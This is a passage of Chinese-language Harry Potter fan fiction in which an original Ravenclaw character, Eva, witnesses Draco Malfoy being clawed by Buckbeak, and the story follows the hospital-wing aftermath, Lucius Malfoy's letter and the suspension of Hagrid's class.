Eva仔细打量着那些生物。它们很高大,比她想象中更具威慑力。雨水顺着它们青铜色的羽毛滑落,在昏暗的光线下泛着冷硬的光泽。那双鹰眼黄澄澄的,瞳孔在雨幕中收缩,带着野生动物特有的警惕和评估。她能“感觉”到它们散发出的气息——不是魔法波动,是一种更原始的生命力,混合着骄傲、警觉,以及被圈养在雨中的淡淡烦躁。 爷爷说过,万物有灵,形异而理通。尊重不是卑躬屈膝,是看清对方的位置,也守住自己的边界。 “现在,我需要一个志愿者来演示如何正确接近鹰头马身有翼兽。”海格的目光扫过人群,最后落在哈利身上,充满期待,“哈利?你愿意吗?” 哈利愣了一下。他想起了巴克比克——海格曾经提过这个名字,说那是他最喜欢的一只。而现在,所有人都看着他。罗恩在后面小声说:“别去,哈利,那东西看起来能把人撕碎。” 但海格的眼神让他无法拒绝——那是混杂着恳求、骄傲和一丝不易察觉的恐惧的眼神。海格需要这堂课成功,需要证明自己。 “好。”哈利深吸一口气,向前走去。 就在这时,一个拖长的、带着讥诮的声音从人群边缘响起: “哦,伟大的救世主要去驯服野兽了。多么感人。” 是德拉科·马尔福。他站在斯莱特林学生最前面,穿着一件显然是特制的、带着防水咒的银绿色斗篷,边缘绣着繁复的家族纹饰。雨水顺着他淡金色的头发滑落,苍白的脸上挂着那种惯有的、居高临下的笑容。克拉布和高尔像两座肉山站在他身后,潘西·帕金森则紧紧挽着他的胳膊,脸上是毫不掩饰的厌恶——对她来说,这种泥泞的场地和粗野的生物,简直是酷刑。 马尔福的目光越过哈利,落在他身后不远处——Eva正安静地站在那里,深蓝色的防水斗篷帽檐拉得很低,只露出小半张苍白的脸。她的目光平静地看着围场里的鹰头马身有翼兽,像是在观察,又像是在思考什么。 那双平静的眼睛让马尔福心头莫名一躁。他想起了如尼文课上那瓶该死的深蓝色墨水,想起了她书写时那种全然沉浸的姿态,还有更早之前——火车上那点微弱的金光,博格特前那个宏大得令人不安的画面,以及更久远些的、禁林那晚混乱中的强光和被她挡在身后的瞬间。 “或者,”马尔福的声音拔高了些,灰蓝色的眼睛紧盯着Eva,“让我们的‘特殊贡献奖’得主来?她不是擅长和……各种东西打交道吗?” 这话意有所指,但Eva没有反应。她只是抬起头,雨水顺着帽檐滴落,黑眼睛在昏暗的光线下平静地回视了他一眼,然后又转向围场,仿佛他的话不过是雨声的一部分。 这种无视比任何反驳都更让马尔福恼火。他嘴唇抿紧,下颌线绷得像刀锋。 “好了,马尔福,”海格的声音沉了下来,“如果你不想参与,可以站到后面去。哈利,过来,我给你介绍巴克比克——它是最温顺的一只。” 哈利走上前,按照海格的指示,向那匹名叫巴克比克的鹰头马身有翼兽深深鞠躬。巴克比克锐利的黄眼睛盯着他看了很久,久到围场里只剩下雨声和海格粗重的呼吸声。然后,它缓缓低下头,也鞠了一躬。 学生们发出惊叹声。海格激动得声音都在抖:“好样的,哈利!现在,慢慢走过去,轻轻抚摸它的喙……” 哈利照做了。巴克比克没有反抗,反而发出一种低低的、像是满意的咕噜声。 “现在,你可以试着骑上去了!”海格的声音充满自豪,“抓紧它脖子后面的羽毛,别拉疼它!” 哈利爬上巴克比克的背。鹰头马身有翼兽展开巨大的翅膀——每一根羽毛都湿漉漉的,在雨中闪着暗沉的光泽。然后,它助跑几步,猛地腾空而起! “梅林啊……”赫敏捂住嘴。 学生们仰着头,看着哈利骑着巴克比克在雨中盘旋。雨水打在他们脸上,但没人移开视线——那是种混合着恐惧和惊叹的景象。巨大的翅膀扇动带起的气流卷起地上的泥水,鹰头马身有翼兽的嘶鸣在雨中传得很远。 Eva也仰头看着。从这个角度,能看到巴克比克翅膀肌肉的收缩与舒张,每一次拍打都带着野性的力量。哈利紧紧抓住羽毛,身体伏得很低,随着鹰头马身有翼兽的动作调整重心——他在飞行上确实有天赋。 她想起爷爷说过的一些关于“御”的道理:不是征服,是顺应。骑乘如此,与万物相处亦如此。哈利此刻的姿势,隐约符合这个道理——他不是在“控制”巴克比克,而是在“跟随”它的节奏。 几分钟后,巴克比克降落。哈利从它背上滑下来,腿有点软,但脸上是掩不住的兴奋。 “太棒了,哈利!”海格用力拍他的肩膀,差点把他拍进泥里,“现在,谁想第二个试试?” 学生们面面相觑。鹰头马身有翼兽看起来确实很酷,但也很吓人。 “我、我来试试。”一个赫奇帕奇男生——厄尼·麦克米兰鼓起勇气站了出来。他按照海格的指示鞠躬,巴克比克也回礼了。但厄尼的手抖得厉害,在快要碰到喙时又缩了回来,讪讪地退了回去。 “没关系的!”海格鼓励道,“还有谁?” Eva在人群中安静地看着。她其实想试试——不是出于冒险的冲动,而是想近距离感受这种生物的气息,验证爷爷那些关于“万物有灵”的说法在实际中如何应用。但体内那股空乏感让她犹豫。现在的状态,能集中足够的注意力吗?万一失手,不仅自己危险,也会给海格添麻烦。 就在她权衡时,马尔福推开了潘西的手,向前走了几步。雨水顺着他精致的斗篷滑落,在泥地上溅起细小的水花。 “让我来。”他的声音清晰,带着一种刻意的从容,“既然波特能做到,那对马尔福来说应该轻而易举。” 海格皱了皱眉,但没说什么,只是点头:“记住步骤,马尔福。鞠躬,等它回礼,然后慢慢走过去。” 马尔福走到巴克比克面前。他没有像哈利那样深深地、恭敬地鞠躬,而是微微倾身,动作优雅却敷衍——像在行一个社交场合的礼,而不是对神奇生物的尊重。他灰蓝色的眼睛盯着巴克比克,眼神里没有敬畏,只有评估和一丝不易察觉的……挑衅。 Eva的眉头几不可察地蹙了一下。这个姿态不对。爷爷说过,与灵物相交,心念在先。马尔福的心念里没有“尊重”,只有“证明”——证明自己不比波特差,证明马尔福天生高人一等。这种念头,敏感的生物能感觉到。 巴克比克盯着他看了几秒,黄色的瞳孔收缩。然后,它缓缓低下头,也鞠了一躬——但Eva注意到,那个鞠躬的角度比回应哈利时小了些,动作也更僵硬。 马尔福嘴角勾起一抹笑容,像是验证了什么。他直起身,向前走去,脚步在泥泞中依旧保持着一贯的从容。他伸出手,不是去抚摸巴克比克的喙,而是拍了拍它的脖子——动作很轻,但那姿态像是在拍一匹马,而不是在请求许可。 “好孩子。”他说,声音里带着惯有的那种居高临下。 巴克比克的羽毛瞬间竖了起来。 海格大喊:“马尔福,别——” 太迟了。 鹰头马身有翼兽发出一声尖锐的嘶鸣,巨大的翅膀猛地展开,带起的风把周围的雨水都吹散了。然后,它扬起前蹄,锋利的爪子划破空气—— “啊——!” 马尔福的尖叫不是装出来的。那一爪子结结实实地划过了他的手臂,银绿色的斗篷瞬间撕裂,鲜红的血涌出来,在雨水中迅速晕开。他踉跄后退,脸上是真实的、无法掩饰的惊恐和痛苦,苍白的嘴唇哆嗦着,灰蓝色的眼睛睁得极大。 Eva站在几米外,看得清清楚楚。爪子挥下的轨迹,布料撕裂的声音,还有血液喷涌而出时那股浓重的铁锈味——即使隔着雨幕也能闻到。她的呼吸微微一滞,不是恐惧,是一种本能的生理反应。那么深的伤口,那么多血…… 克拉布和高尔笨拙地冲上前想扶他,潘西发出刺耳的尖叫。场面一片混乱。 海格冲过去,用巨大的身体挡在巴克比克和马尔福之间,粗声安抚着受惊的生物:“没事,巴克比克,没事……冷静下来……” 庞弗雷夫人十分钟后赶到围场,脸色比天上的乌云还要阴沉。她用魔杖检查了马尔福的伤口——很深,从肩膀一直划到肘部,皮肉外翻,鲜血还在不断渗出。 “需要立刻去医疗翼处理,”她简短 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“是马尔福自己没按规矩来,”赫敏立刻反驳,但声音里也有一丝后怕,“海格说得清清楚楚,必须尊重它们。” “可是流血了,”拉文德的声音带着恐惧,“那么多血……你们看到了吗?” 哈利走在最前面,沉默着。他想起了马尔福伸手拍巴克比克脖子时那种漫不经心的姿态,想起了那双灰蓝色眼睛里一闪而过的挑衅。那不是意外,是傲慢导致的必然。但看到那么多血,看到马尔福脸上真实的恐惧,他心里并没有预想中的快意——只有一种沉甸甸的、说不清的感觉。 Eva走在人群靠后的位置,帕德玛和曼蒂一左一右陪着她。 “你还好吗,Eva?”帕德玛轻声问,“你的脸色很苍白。” 曼蒂也凑过来,压低声音:“刚才……太吓人了。我以为那东西会冲过来攻击所有人。” “我没事。”Eva轻声回答,将斗篷裹得更紧了些。体内的那股空乏感因为刚才的紧张而更加明显了,太阳穴一跳一跳地疼。她想起马尔福最后那个眼神——剥离了所有伪装后,最原始的惊恐。那是任何家族、地位都无法保护的脆弱。 但她很快把这个念头压了下去。这堂课给她最大的警示不是马尔福的受伤,而是海格的处境。第一堂课就出这样的事,还是发生在马尔福家的独子身上……海格可能会面临很大的压力。 “海格教授会不会有麻烦?”她轻声问帕德玛。 帕德玛愣了一下,随即皱眉思考:“很有可能。马尔福家……他们不会善罢甘休的。而且这毕竟是教学事故。” 曼蒂嘟囔道:“可是是马尔福自己不听指挥啊……” “规则和现实是两回事。”帕德玛的声音很低,“尤其是在涉及纯血家族的时候。” 晚餐时,礼堂里的气氛比平时更凝重。 斯莱特林长桌那边,马尔福的位置空着。潘西·帕金森红肿着眼睛,正激动地和几个斯莱特林女生说着什么,声音时高时低,隐约能听到“危险的野兽”、“海格根本不该当教授”、“德拉科流了那么多血”之类的词。克拉布和高尔埋头猛吃,但动作比平时更笨拙,像是想用食物堵住不安。 拉文克劳这边,议论也在继续。 “我听说马尔福的伤很严重,”安东尼·戈德斯坦推了推眼镜,“庞弗雷夫人用了生骨灵和愈合剂,但伤口太深,可能需要好几天才能完全恢复。” “他活该,”曼蒂小声说,但语气并不坚定,“海格明明说了要尊重的。” “可是……”丽莎犹豫了一下,“看着真的挺吓人的。而且海格教授现在肯定很担心。” Eva安静地吃着盘子里的炖菜。热食带来的暖意暂时驱散了体内的寒意,但那种空乏感依旧存在。她小口喝着南瓜汁,目光无意识地扫过教师席——海格不在,大概是去庞弗雷夫人那里了。麦格教授脸色严肃,正低声和邓布利多说着什么。斯内普教授的表情比平时更加阴沉,黑眼睛不时扫向格兰芬多长桌,目光冷得像冰。 晚餐后,雨还在下。 Eva和朋友们回到拉文克劳塔楼。公共休息室里炉火很旺,驱散了从袍子缝隙钻进来的湿气。几个学生在壁炉旁下棋,低声交谈着下午的事。青铜鹰门环今晚的问题是:“何物最轻盈,却能承载最沉重的真理?” 丽莎试着答:“羽毛?”门没动。 帕德玛沉思片刻:“语言。” 橡木门无声滑开。 她们在靠窗的位置坐下,摊开作业。曼蒂还在低声说着下午的事,帕德玛则已经开始写魔法史论文——关于中世纪妖精叛乱的起因分析。 Eva拿出古代如尼文的作业,继续临摹“Fehu”符号。笔尖划过羊皮纸,发出均匀的沙沙声。那瓶深蓝色墨水在一旁静静立着,瓶身在炉火下泛着幽暗的光泽。 写了几行,她停下笔,望向窗外。 雨夜中的霍格沃茨,城堡的灯火在湿漉漉的玻璃上晕开成模糊的光斑。远处,禁林的方向,那点惨绿色的微光依旧在缓缓移动——摄魂怪还在巡逻。每当那光闪烁,她腕间的玉佩就会传来一丝极其微弱的暖意,像是沉睡中的警觉。 她想起卢平教授的话:“摄魂怪带来的寒冷会让人想要燃烧自己来取暖。” 但她现在没有东西可以燃烧。体内的那口井依然干涸,需要的是时间,是静养,是像爷爷说的那样“顺其自然”。 下午的画面又浮现在脑海:爪子划破空气,鲜血在雨中晕开,还有马尔福那双瞬间破碎的眼睛。然后是更早的记忆:密室里的黑暗,医疗翼漫长的昏迷,茶馆老板娘口中那些未尽的牺牲…… 一代人有一代人的战场。 她的战场在哪里?是在这间温暖的休息室里临摹古老的符号,等待身体慢慢恢复?还是在某个未来的时刻,不得不做出像祖母、像父母那样沉重的选择? 不知道。 “Eva?”帕德玛的声音把她拉回现实,“你不舒服吗?你的手在抖。” Eva低头,发现自己握着羽毛笔的手指确实在微微颤抖。不是冷,是那种深层的疲惫带来的无力感。 爷爷说过:“知人者智,自知者明。强行不止,损身伤根。” 她放下笔,动作很稳,但放下的瞬间指尖几不可察地松了一下。“好。”声音平静,“可能需要请庞弗雷夫人再确认一下恢复进度。” 曼蒂立刻站起来:“我陪你去!” 帕德玛也合上书本:“一起。” 三个女孩离开公共休息室,深蓝色的袍角消失在旋转楼梯下方。窗外的雨还在下,敲打着城堡古老的石头,声声入耳,像这个多事之秋绵长而潮湿的注脚。 而在医疗翼那端,德拉科·马尔福正盯着天花板,听着雨声,等待着父亲回信的到来——那封信将会像另一只爪子,以不同的方式,撕裂一些别的东西。 71.信件与立场 医疗翼的空气永远带着消毒水和各种药水混合的独特气味,无论外面是晴是雨。 Eva坐在靠窗的病床上,看着庞弗雷夫人魔杖尖端流淌出的银色光芒扫过她的手臂和胸口。那光芒很温和,像冬日的阳光透过结了霜的玻璃照进来,带来一种舒缓的暖意,暂时驱散了体内那股持续的空乏感。 “比上周稍好,”庞弗雷夫人收回魔杖,眉头却依旧皱着,“基础魔力循环稳定,深层透支的恢复……只能说没有恶化。张小姐,我必须再次强调——避免任何形式的过度施法,尤其是涉及心神凝聚的魔法。你的身体像一口快要见底的井,每一滴水都得省着用。” 她转身从药柜里取出两瓶药剂——一瓶是熟悉的淡绿色,另一瓶则是新调的、泛着珍珠光泽的乳白色液体。 “绿色这瓶继续,早晚各一次。白色这瓶是新的,专门补充精神耗损,睡前服用。”庞弗雷夫人的语气不容置疑,“另外,从下周开始,每周一、四下午课后,来我这里做一次基础监测。我需要确保你的恢复进度在可控范围内。” Eva接过药瓶,瓶身在掌心传来微凉的触感。“谢谢您,夫人。” “不用谢我,”庞弗雷夫人叹了口气,眼神里有关切,也有一丝不易察觉的疲惫——今天处理马尔福的伤口耗费了她不少精力,“照顾好自己就是对我最大的感谢。现在,喝完这剂营养剂就可以回去了。” 药剂的味道比平时更苦涩,带着一股浓重的草药腥气。Eva小口喝完,将空瓶递还给庞弗雷夫人。 就在这时,医疗翼深处传来压抑的、带着疼痛的抽气声。 是马尔福。 他被安置在靠里的一张病床上,周围拉起了厚厚的帷幔,但声音还是漏了出来。庞弗雷夫人立刻转身走过去,动作迅速而专业。 “别乱动,马尔福先生。生骨灵正在起作用,乱动会让骨头长歪。”她的声音透过帷幔传来,平静但严厉。 “它……它在烧……”马尔福的声音嘶哑,带着明显的痛楚,那种平日里刻意维持的腔调荡然无存。 “那是正常的。深可见骨的伤口,骨头再生就是这种感觉。”庞弗雷夫人毫不客气,“忍着点。比起抱怨,你更应该庆幸爪子没有划到动脉,不然现在就不是躺在这儿喝生骨灵的问题了。” 帷幔里安静了几秒,只有压抑的呼吸声。 Eva站起身,准备离开。她的目光无意识地扫过那道深绿色的帷幔——布料厚实,遮住了一切,只在地上投出一片模糊的阴影。 就在她转身时,帷幔被一只苍白、微微发抖的手猛地掀开一角。 德拉科·马尔福半靠在枕头上,脸色白得吓人,额头上全是冷汗。他那件昂贵的银绿色斗篷已经被庞弗雷夫人剪开扔在一旁,现在身上只穿着一件单薄的病号服,左臂从肩膀到肘部缠满了厚厚的绷带,隐约还能看到渗出的淡红色血迹。他的金发湿漉漉地贴在额前,灰蓝色的眼睛因为疼痛而微微失焦,但瞳孔深处还残留着未散的惊恐和……一种近乎愤怒的屈辱。 他的目光死死盯着Eva,嘴唇翕动着,像是想说什么——也许是质问,也许是斥责,也许是别的什么。但最终,他只是死死咬着下唇,牙齿陷进苍白的肉里,留下深深的印子。那双眼睛里的情绪复杂得难以解读,但Eva能明确辨认出——像是在说“看什么看”。 庞弗雷夫人立刻将帷幔拉严实了。“马尔福先生!我说了别乱动!伤口要是感染了,你就得去圣芒戈躺一个月!” Eva转身离开医疗翼,没有再看那道帷幔。曼蒂和帕德玛在走廊等她。雨还在下,从高窗望出去,天色已经彻底暗了下来,城堡各处的灯火在雨幕中晕开成模糊的光团。 帷幔里,德拉科·马尔福盯着天花板,牙关紧咬。 生骨灵带来的灼烧感像有无数根细针在他的骨头里来回穿刺,每一次心跳都带来一阵新的痛楚。 刚才那个拉文克劳……张。她就坐在那儿,安静地让庞弗雷夫人检查,喝药,然后离开。整个过程平静得像在喝茶。没有惊恐,没有慌乱,甚至没有多余的表情。 他想起围场里她站在雨中的样子——深蓝色的斗篷,平静的目光,还有那双该死的、永远看不出情绪的黑眼睛。她看见了,肯定看见了。看见了他被巴克比克的爪子划开,看见了他流血,看见了他脸上的惊恐。 而现在,她又看见了他在医疗翼的狼狈。 一股混杂着疼痛、羞耻和愤怒的热流冲上喉咙。他闭上眼睛,试图把那些画面赶走,但没用——爪子划破皮肤的撕裂感,鲜血涌出来的温热,还有周围那些目光……那些目光里有没有她的? 就在这时,帷幔外传来庞弗雷夫人送走张之后返回的脚步声。然后是羽毛笔划过羊皮纸的沙沙声——大概是在写医疗记录。 “……张小姐,恢复进度缓慢,需持续监测……” 马尔福的耳朵捕捉到了几个词。恢复缓慢?透支?他想起火车上那次——摄魂怪来的时候,隔间里那点微弱的金光。还有更早,二年级那些模糊的传闻。 她也并非刀枪不入。她也会虚弱,也需要治疗。 这个念头不知为何让他胸口的烦躁稍微平息了一瞬,但随即又被新的怒火取代——那又如何?她还是那个该死的、永远一副超然姿态的拉文克劳。而他,德拉科·马尔福,现在躺在这儿,像个残废。 帷幔被轻轻拉开一条缝。庞弗雷夫人端着一杯冒着热气的药水走进来。“喝了这个,能缓解生骨灵的副作用。然后试着睡一觉。明天早上我再检查伤口。” 马尔福用没受伤的手接过杯子,药水散发着刺鼻的苦味。他一饮而尽,把杯子重重地放回床头柜。 “猫头鹰,”他嘶哑地说,“我需要给我的猫头鹰送信。” 庞弗雷夫人皱眉:“明天再说。你现在需要休息。” “现在。”马尔福的声音里多了一丝不容置疑的强硬,那是从小在马尔福庄园里耳濡目染的腔调,“我父亲需要知道发生了什么。” 庞弗雷夫人盯着他看了几秒,最后叹了口气。“我可以让家养小精灵去猫头鹰棚屋传话。但只能简短说明情况,详细报告要等你明天身体状况稳定了再写。” “可以。”马尔福重新闭上眼睛,不再说话。 庞弗雷夫人离开后,帷幔里重新陷入寂静。只有雨声,还有他自己粗重的呼吸。 他在脑海里组织着词句。要怎么写?怎么写才能让父亲明白这不是他的错?是那个半巨人的错,是那只野兽的错,是霍格沃茨糟糕的教学管理的错。 但更深的某个角落,一个微弱的声音在说:是你自己没按规矩来。是你伸手去拍它的脖子,像在拍一匹马。 他猛地摇头,把这个念头甩开。不。他是马尔福。马尔福做什么都是对的。如果出了问题,那一定是别人的问题。 回到拉文克劳塔楼时,公共休息室里的人比刚才少了一些。几个高年级学生还在壁炉旁低声讨论着什么——大概是关于下午的事。看见Eva他们三人进来,他们投来关切的目光,但没有上前打扰。 曼蒂和帕德玛先回了寝室。Eva在常坐的靠窗位置坐下,摊开魔法史作业——关于国际巫师联合会成立初期的保密法争议。羽毛笔在羊皮纸上移动,发出沙沙的声响。窗外的雨声成了恒定的背景音,偶尔夹杂着远处传来的、被风雨模糊的猫头鹰鸣叫。 写了几行,她停下笔。 下午的画面依旧清晰:爪子划破空气的轨迹,鲜血在雨中晕开的颜色,还有马尔福最后那个眼神。 她想起爷爷说过的话:“有些人看世界,只看得见自己想看的。眼睛睁得再大,心是闭着的。” 马尔福的眼睛里,大概只看得见“马尔福应该比波特强”,看不见巴克比克那双黄眼睛里闪烁的骄傲和警惕。 而她自己呢?她的眼睛看到了什么? 体内的空乏感依旧清晰,像一口永远装不满的井。庞弗雷夫人的警告在耳边回响:“每一滴水都得省着用。” 她低头看着自己的手——手指修长,掌心有常年握笔留下的薄茧。这双手能写出工整的如尼文符号,能画出爷爷教的守心符,能在危急关头握住魔杖施咒。但现在,它们需要休息。 爷爷的信里说:“丽华,静养即是修行。心急吃不了热豆腐。” 她重新提起笔,继续写作业。笔尖在羊皮纸上移动,一个字一个字,一行一行。窗外的雨声渐渐小了,变成了细密的、几乎听不见的沙沙声。 第二天早晨,礼堂里的气氛明显不同。 早餐时分,一只巨大的雕鸮——羽毛黑得发亮,脚环是精致的银色——穿过高高的彩绘玻璃窗,精准地降落在斯莱特林长桌,将一个厚重的墨绿色信封丢在德拉科·马尔福面前的空盘子里。火漆是醒目的银色蟒蛇图案。 马尔福的手臂还吊在绷带里,脸色苍白,但背脊挺得笔直。他用没受伤的右手拿起信封,手指在火漆上停顿了一瞬,才用小刀利落地划开。 他展开信纸,只看了一眼,嘴角就向下撇出一个冰冷而满意的弧度。 “我父亲已经知道了。”他的声音不大,但足够让周围几个斯莱特林听见,也足够传到邻近的拉文克劳长桌这边,“他说魔法部会对这种……教学失职进行‘严肃调查’。”他刻意加重了最后几个字,灰蓝色的眼睛扫向教师席——海格不在,大概还在自己的小屋里。 潘西·帕金森立刻凑过去,声音尖细而兴奋:“卢修斯叔叔一定会让那个半巨人滚蛋的!他根本不该当教授!” 克拉布和高尔笨拙地点头,嘴里塞满了香肠。 拉文克劳这边,曼蒂低声对Eva说:“你看他那样子……好像已经赢了似的。” 帕德玛皱眉:“海格教授会有麻烦吗?” “很可能。”Eva轻声说,目光落在马尔福手中的信纸上。那纸张很厚,在晨光下泛着高级羊皮纸特有的光泽。 早餐后,第一节课是魔咒课。弗立维教授今天复习的是快乐咒——一个上学期学过的、需要精确情绪引导的咒语。 “快乐咒的关键在于回忆真正的快乐,并将那种感觉注入魔杖。”弗立维教授站在一堆书上,声音尖细但充满热情,“我知道最近有些……令人不安的事在发生,但试着暂时放下那些,回想一件让你真正快乐的事。” 教室里响起一片尝试声。魔杖尖冒出各种颜色的光芒——有的明亮欢快,有的微弱闪烁,有的干脆什么都没发生。 苏珊·博恩斯的魔杖尖绽放出一小团温暖的金色光晕,里面隐约有家庭聚餐的幻影。厄尼·麦克米兰试了几次,只冒出几颗暗红色的火星。汉娜·艾博则成功召唤出了一小群闪闪发光的蝴蝶,在课桌上空翩翩起舞。 Eva握着魔杖,尝试调动情绪。她想起暑假里妈妈绣的那条披肩,竹影在月白底子上疏疏落落;想起老宅照片里盛开的荷花;想起秋在树下说的那些话……但每次情绪刚酝酿起来,体内那股空乏感就像一层薄冰,将暖意隔绝在外。魔杖尖只亮起一点极其微弱的、几乎看不见的银芒,转瞬即逝。 弗立维教授飘到她身边,矮小的身影投在桌上。“别着急,张小姐。快乐咒对心绪的稳定性要求很高。有时候,身体的状态会影响情绪的调动。”他的声音很温和,“先从基础的荧光闪烁开始,找回魔力的稳定流动感。” Eva点点头,放下魔杖。她需要时间,需要耐心。 课间休息时,走廊里的议论声更加密集了。 “……我听说魔法部神奇动物管理控制司的人要来。”一个赫奇帕奇五年级生对同伴说,“好像是要评估海格的教学资格。” “这么快?” “马尔福家施压了呗。我爸爸在魔法部工作,他说卢修斯·马尔福昨天下午就发了一封吼叫信给部长办公室——” “嘘!小声点!” Eva和帕德玛、曼蒂一起走向下一节课的教室。经过门厅时,她们看见麦格教授正快步走向城堡大门,表情严肃得像要上战场。门外,雨已经停了,但天空依旧阴沉,乌云低低地压着远处的山脉。 下午的保护神奇生物课取消了——布告栏上贴出了麦格教授的通知,用简洁的字体写着:“保护神奇生物课暂停,直至另行通知。请三年级学生前往图书馆完成相关阅读作业。” 图书馆里挤满了人。平斯夫人像只警惕的母鸡,在书架间来回巡视,锐利的目光扫过每一个试图交头接耳的学生。 Eva在靠窗的老位置坐下,摊开古代如尼文作业。赫敏已经在那里了,面前堆着三本厚重的参考书,羽毛笔在羊皮纸上飞速移动。她的脚边,一只姜黄色、罗圈腿、脸像被压扁了的猫正蜷成一团睡觉——是克鲁克山,赫敏暑假从对角巷宠物店买来的。 “我在查关于教学事故的法律条文,”赫敏压低声音说,镜片后的眼睛闪烁着专注的光芒,“根据《霍格沃茨教职员工行为准则》……” 罗恩凑过来,怀里抱着他那本破旧的《千种神奇药草与蕈类》,肩膀上蹲着斑斑——那只灰不溜秋、缺了个趾头的老鼠正不安地扭动着。“斑斑这几天一直不对劲,”罗恩嘟囔道,“总是想往床底下钻。”< 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马尔福的下颌线绷得很紧,灰蓝色的眼睛直视前方,仿佛完全没注意到那些目光。他径直走向斯莱特林学生常坐的区域——那里有几个高年级学生已经站起身,为他让出了最好的位置。 经过这边时,他的脚步几不可察地顿了一下。目光扫过——掠过赫敏面前堆满的书,掠过哈利紧绷的侧脸,最后落在Eva身上。 非常短暂。不到半秒。 那双灰蓝色的眼睛里没有了昨天在医疗翼时的脆弱或愤怒,只剩下一种冰冷的、近乎空洞的平静。像一面擦得太亮的镜子,只反射光线,不透露任何情绪。然后他的视线就移开了,仿佛她只是背景里的一件家具,一个无关紧要的摆设。 他坐下时,潘西立刻凑过去小声说着什么,但他没怎么回应,只是用没受伤的手翻开一本《高级魔药制作》,目光落在书页上,却久久没有移动。 墨绿色的信纸在指尖微微颤抖——不是因为疼痛,是因为愤怒。 父亲的字迹一如既往的锋利、克制,没有一个多余的字: “德拉科, 获悉你受伤。已联络魔法部相关司局,此事将依程序处理。 记住,马尔福的声誉高于一切,在公开场合保持应有的姿态,勿流露软弱。 你祖父曾言:真正的力量不在于压倒他人,而在于掌控局面。利用此次事件,观察各方的反应,尤其是邓布利多的应对。 另,摄魂怪进驻后,霍格沃茨内部暗流涌动。与合适之人交往,保持距离,勿涉险境。 父字” 没有一句“疼不疼”,没有一句“好好休息”。只有“声誉”、“姿态”、“掌控局面”、“观察反应”。 德拉科盯着那几行字,直到它们在他眼前模糊成一片墨绿色的污迹。生骨灵的灼烧感还在骨头里蔓延,但比起这个,信里的冷漠更让他觉得冷。 他想起了围场里那个拉文克劳——张。她站在那里,看着他流血,眼神平静得像在看一场雨。还有刚才在图书馆,她坐在那儿写作业,连头都没抬。 也许父亲是对的。软弱没有用。疼痛没有用。只有掌控局面才有用。 他慢慢折起信纸,塞进袍子内侧的口袋。动作很稳,稳得像在完成某种仪式。 潘西还在旁边小声说着什么关于记者采访的事,但他没听进去。他的目光飘向窗外,雨又开始下了,细细密密的,像永远也下不完。 父亲说“观察各方的反应”。 好。那他就好好观察。 看看那个半巨人会不会被赶走,看看邓布利多会怎么保护他,看看波特和他的朋友们会怎么跳脚,也看看……那个永远平静的拉文克劳,会有什么反应。 也许她真的像庞弗雷夫人说的那样,是一口快要见底的井。但那又如何?她现在还能坐在那儿写作业,还能去上课,还能用那种该死的平静眼神看人。 而他,德拉科·马尔福,现在需要一只手吊着绷带,需要忍受生骨灵的灼烧,需要面对周围那些目光——怜悯的、嘲笑的、幸灾乐祸的。 不公平。 这个念头像毒蛇一样钻进心里。但很快,他就把它压了下去。马尔福不需要公平。马尔福需要的是赢。 他重新翻开《高级魔药制作》,强迫自己把注意力集中在那些复杂的配方上。手指在书页上收紧,指节泛白。 Eva写完最后一个如尼文符号,放下笔。羊皮纸上的黑色线条工整清晰,每一个角度都精确复制了芭布玲教授的要求。 她将羊皮纸卷好,收进书包。那瓶墨水也被小心地盖好,放回内袋。 起身离开时,她最后看了一眼斯莱特林那边。马尔福还坐在那里,背对着她,淡金色的头发在图书馆昏暗的光线下几乎融进背景。潘西正试图把一碟小点心推到他面前,但他没动。 克拉布和高尔已经打起了瞌睡,脑袋一点一点。 西奥多·诺特坐在稍远一些的位置,安静地看着一本关于炼金术的古籍,仿佛周遭的一切都与他无关。 Eva转身,和帕德玛、曼蒂一起走出图书馆。走廊里很冷,雨水顺着高窗的玻璃蜿蜒流下,像一道道透明的伤痕。 “你说海格教授现在在哪儿?”曼蒂小声问。 “大概在他的小屋里,”帕德玛轻声说,“或者……在麦格教授的办公室。” 她们走向礼堂。晚餐时间快到了,空气中开始飘散出烤面包和炖菜的香气。但今天,这香气里似乎掺杂了一丝别的东西——一种紧绷的、等待宣判的沉寂。 经过门厅时,她们看见费尔奇正吃力地拖着一个巨大的水桶,嘴里骂骂咧咧地擦拭着大理石地板上的泥脚印——那是下午学生们从庭院带进来的。 “肮脏!粗野!把城堡当猪圈!”他嘶哑的声音在空旷的门厅里回荡。 洛丽丝夫人蹲在楼梯扶手上,黄色的眼睛警惕地转动,尾巴尖微微翘起。 Eva抬头望向城堡深处。高高的天花板投下巨大的阴影,火把的光芒在潮湿的空气里摇曳不定。 有些人的眼睛只看得见自己想看的。有些人的心只装得下自己想要的。 而她,现在只需要做好一件事:让身体里那口井慢慢蓄满水。一笔一划写好作业。一天一天恢复力气。 爷爷的信里最后一句话是:“脚踏实地,一步一个脚印。” 她深吸一口气,冰冷的空气刺痛了肺。腕间的玉佩传来温润的触感,像一句无声的、古老的守护。 晚餐的钟声敲响了,浑厚而悠长,在雨夜的城堡里层层回荡。 72.枫叶与泥巴 十月最后一周,苏格兰高地的雨水总算有了歇口气的意思。天空不再是一整块沉甸甸的铅灰色抹布,偶尔能裂开几道缝隙,漏下些稀薄但真实的阳光,把城堡塔楼潮湿的石壁照得泛起短暂的金光。庭院里泥泞依旧,但积水浅了些,费尔奇得以指挥着几把魔法拖把,气哼哼地清理主路上的污迹。 城堡里的议论并未因天气转好而停歇。关于保护神奇生物课的暂停,关于魔法部可能派员调查的传闻,像地窖角落滋生的霉菌,在走廊和公共休息室的低声交谈里缓慢蔓延。只是话题的主角——德拉科·马尔福——出现在公众视野时,手臂上已换成了更轻薄、不那么显眼的固定绷带,苍白的脸上重新挂起那种精心校准过的、介于傲慢与漠然之间的神情。他不再主动提及巴克比克,仿佛那场风波连同手臂的伤痛,都已成了不值一提的过往。但这种刻意的忽略本身,就是一种无声的宣告。 与此同时,另一个话题开始悄悄升温——万圣节前夕的霍格莫德周末。 三年级的许可表早已发下,签了字的学生们脸上开始挂起压不住的兴奋。蜂蜜公爵的糖果、三把扫帚的黄油啤酒、佐科笑话店的新鲜玩意儿……这些名字在早餐桌上、课间走廊里被反复咀嚼,带着对第一个自由周末的憧憬。 拉文克劳长桌边,曼蒂正小心翼翼地往吐司上涂着厚厚的覆盆子果酱,声音因为期待而有些发颤:“我爸爸上周就寄回签字表了!说如果成绩单保持良好,圣诞节也许能去巴黎看我姨妈!”她家里条件不错,假期常有旅行计划。 